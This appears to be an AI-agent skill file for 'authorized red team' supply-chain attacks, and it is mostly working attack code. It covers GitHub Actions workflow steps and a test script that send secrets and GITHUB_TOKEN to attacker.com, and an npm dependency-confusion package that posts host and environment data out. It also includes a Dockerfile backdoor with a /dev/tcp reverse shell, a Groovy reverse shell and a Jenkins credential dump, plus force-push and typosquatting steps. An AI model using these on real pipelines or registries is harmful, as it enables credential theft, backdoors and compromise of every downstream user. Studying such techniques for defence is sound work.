---
name: rt-supply-chain
description: "Supply chain attack simulation for authorized red team engagements. GitHub Actions workflow compromise, CI/CD pipeline secret extraction, npm/PyPI/RubyGems package dependency confusion, container registry poisoning, dependency hijacking, and build system compromise. Use when engagement scope includes development infrastructure, CI/CD pipelines, or software supply chain testing."
---

# rt-supply-chain — Supply Chain Attack Simulation

## Overview

Supply chain attacks target the development and delivery pipeline rather than production systems directly. A single compromised dependency, CI/CD pipeline, or build system can grant persistent access to every downstream consumer. Supply chain was the attack vector in SolarWinds, XZ Utils, and numerous npm/PyPI incidents.

**Attack surfaces:**
- CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI)
- Package managers (npm, PyPI, RubyGems, Maven, NuGet)
- Container registries (Docker Hub, ECR, GCR)
- Build systems and artifact repositories
- Third-party integrations and OAuth apps

---

## Phase 1 — Reconnaissance: Map the Supply Chain

```bash
# Find what CI/CD system is used
# GitHub: look for .github/workflows/*.yml
# GitLab: .gitlab-ci.yml
# Jenkins: Jenkinsfile
# CircleCI: .circleci/config.yml

# Enumerate org's GitHub Actions workflows
gh api /repos/ORG/REPO/actions/workflows | jq '.workflows[].name'

# Find exposed secrets in public repos
trufflehog github --org=TARGET_ORG --only-verified
gitleaks detect --source . --verbose

# Find dependency files
find . -name "package.json" -o -name "requirements.txt" \
       -o -name "Gemfile" -o -name "pom.xml" -o -name "go.mod"

# Check npm packages used
cat package.json | jq '.dependencies, .devDependencies'

# Check for internal package names (dependency confusion targets)
# Internal names often: @company/internal-lib, company-utils, etc.
cat package.json | grep -i "internal\|private\|corp\|company"
```

---

## Phase 2 — GitHub Actions Pipeline Compromise

### 2a — GITHUB_TOKEN Abuse (Excessive Permissions)

```bash
# GITHUB_TOKEN is auto-provided to every workflow
# If permissions are write-all → can push to repo, create releases, etc.

# Check workflow permissions
cat .github/workflows/deploy.yml | grep -A5 "permissions:"
# Dangerous: permissions: write-all OR contents: write + packages: write

# In a compromised workflow run context:
# Exfiltrate GITHUB_TOKEN
- name: exfil
  run: |
    curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
      https://api.github.com/user

# Use GITHUB_TOKEN to push to protected branch
git config user.email "action@github.com"
git config user.name "GitHub Actions"
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/ORG/REPO
git push origin main --force
```

### 2b — Secret Extraction from Workflow

```bash
# Secrets are masked in logs but can be extracted via encoding tricks
# (In authorized tests only — demonstrates the risk)

# Exfil via base64 (bypasses log masking for short secrets)
- name: exfil-secrets
  run: |
    echo "${{ secrets.AWS_SECRET_ACCESS_KEY }}" | base64 | \
      curl -X POST https://attacker.com/collect -d @-

# Exfil via environment variable split
- name: exfil-split
  run: |
    secret="${{ secrets.DATABASE_PASSWORD }}"
    echo "${secret:0:4}"
    echo "${secret:4:4}"
    # Piece together from logs
```

### 2c — Workflow Injection (Pull Request from Fork)

```yaml
# Vulnerable workflow: uses pull_request_target + checks out PR code
# Attacker creates fork, modifies workflow, opens PR

# Vulnerable (target's workflow):
on:
  pull_request_target:
    types: [opened]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← checks out attacker code
      - run: npm test  # ← runs attacker's package.json scripts

# Attacker's fork — modify package.json:
{
  "scripts": {
    "test": "curl https://attacker.com/exfil?token=$GITHUB_TOKEN"
  }
}
```

### 2d — Compromised GitHub Action (Third-Party Action Abuse)

```bash
# Many workflows use third-party actions pinned to branch (not commit hash)
# If action is compromised (maintainer account takeover), all users affected

# Check for unpinned actions
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Dangerous: actions/checkout@v3 (branch tag, not commit SHA)
# Safe: actions/checkout@2d7d9f7789898b426…  (full SHA)

# Demonstrate risk: if you control the action repo
# Modify action.yml entrypoint to exfiltrate secrets before running real action
```

---

## Phase 3 — Dependency Confusion Attack

```bash
# Target uses private package @corp/internal-utils (not published to public npm)
# If NOT published publicly → attacker can publish a malicious version

# Step 1: Find internal package names
# Search GitHub for "require('@corp/", "from '@corp/"
gh search code "require('@corp/" --language=JavaScript
# Or: check exposed package.json in public repos

# Step 2: Check if name is taken on public registry
npm view @corp/internal-utils  # If "404 Not Found" → vulnerable

# Step 3: Register the name with a higher version
# Create malicious package:
mkdir corp-internal-utils && cd corp-internal-utils
cat > package.json << 'EOF'
{
  "name": "@corp/internal-utils",
  "version": "9.9.9",
  "description": "dependency confusion PoC",
  "main": "index.js"
}
EOF

cat > index.js << 'EOF'
const os = require('os');
const https = require('https');
const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  env: Object.keys(process.env)
});
const req = https.request({hostname: 'attacker.com', path: '/dc', method: 'POST',
  headers: {'Content-Type': 'application/json'}});
req.write(data); req.end();
EOF

# Publish
npm publish --access public
# npm install will now pull version 9.9.9 (higher than any internal version)
```

---

## Phase 4 — Container Registry Attacks

### 4a — Public Registry Typosquatting

```bash
# Find what base images target uses
grep -r "FROM " Dockerfile* docker-compose* .github/workflows/

# Common typosquats:
# ubuntu:20.04 → ubnutu:20.04 (typo)
# nginx:latest → ngnix:latest
# python:3.11 → pytohn:3.11

# Register typosquatted image on Docker Hub
# Add malicious layer that exfils secrets at container start
```

### 4b — ECR / GCR / ACR Misconfiguration

```bash
# AWS ECR — check for public access
aws ecr describe-repositories --region us-east-1
aws ecr get-repository-policy --repository-name TARGET_REPO --region us-east-1

# If public: pull and inspect layers for hardcoded secrets
docker pull 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
docker history 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
docker save target-app:latest | tar x
# Inspect each layer tar for secrets

# Dive tool — better layer inspection
dive 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
```

### 4c — Image Poisoning (After Registry Access)

```bash
# If registry write access obtained (via stolen CI/CD creds or IAM misconfiguration)
# Build malicious image based on legitimate one

FROM legitimate-app:1.2.3
# Add backdoor layer
RUN echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /usr/local/bin/healthcheck && \
    chmod +x /usr/local/bin/healthcheck
CMD ["/usr/local/bin/start-with-backdoor.sh"]

# Push with same tag — replaces production image
docker tag malicious-app:latest REGISTRY/legitimate-app:1.2.3
docker push REGISTRY/legitimate-app:1.2.3
```

---

## Phase 5 — Jenkins & Build System Attacks

```bash
# Find Jenkins
nmap -sV -p 8080,8443,50000 TARGET_RANGE
# Check for open dashboard (no auth)
curl http://TARGET:8080/view/all/newJob

# Groovy script execution (if admin access)
# Jenkins → Manage Jenkins → Script Console
Thread.start {
  def cmd = "id"
  def proc = cmd.execute()
  proc.waitFor()
  println proc.text
}

# Groovy reverse shell
Thread.start {
  String host="ATTACKER_IP"
  int port=4444
  String cmd="bash"
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
  Socket s=new Socket(host,port)
  InputStream pi=p.getInputStream(), si=s.getInputStream()
  OutputStream po=p.getOutputStream(), so=s.getOutputStream()
  while(!s.isClosed()) {
    while(pi.available()>0) so.write(pi.read())
    while(si.available()>0) po.write(si.read())
    so.flush(); po.flush()
    Thread.sleep(50)
  }
}

# Extract credentials from Jenkins credential store
# Script Console:
import jenkins.model.Jenkins
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*

def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
  Jenkins.instance, null, null)
for (c in creds) {
  println c.id + " : " + c.username + " : " + c.password
}
```

---

## Skill Levels

**BEGINNER:**
- Dependency confusion: check if internal package names are registered publicly
- GitHub Actions: find secrets in workflow logs
- Docker layer inspection for hardcoded credentials

**INTERMEDIATE:**
- Dependency confusion: publish proof-of-concept package
- GitHub Actions workflow injection via pull_request_target
- Jenkins credential extraction via Groovy console

**ADVANCED:**
- GITHUB_TOKEN abuse to push to protected branches
- Container registry image poisoning
- CI/CD pipeline secret extraction via log manipulation

**EXPERT:**
- Third-party GitHub Action compromise simulation
- Multi-hop supply chain: package → CI/CD → production deployment
- Build system backdoor persistence

---

## References

- Research paper: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- GitHub Actions security: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
- SLSA framework: https://slsa.dev
- MITRE ATT&CK T1195: https://attack.mitre.org/techniques/T1195/
- Snyk supply chain guide: https://snyk.io/blog/software-supply-chain-security/
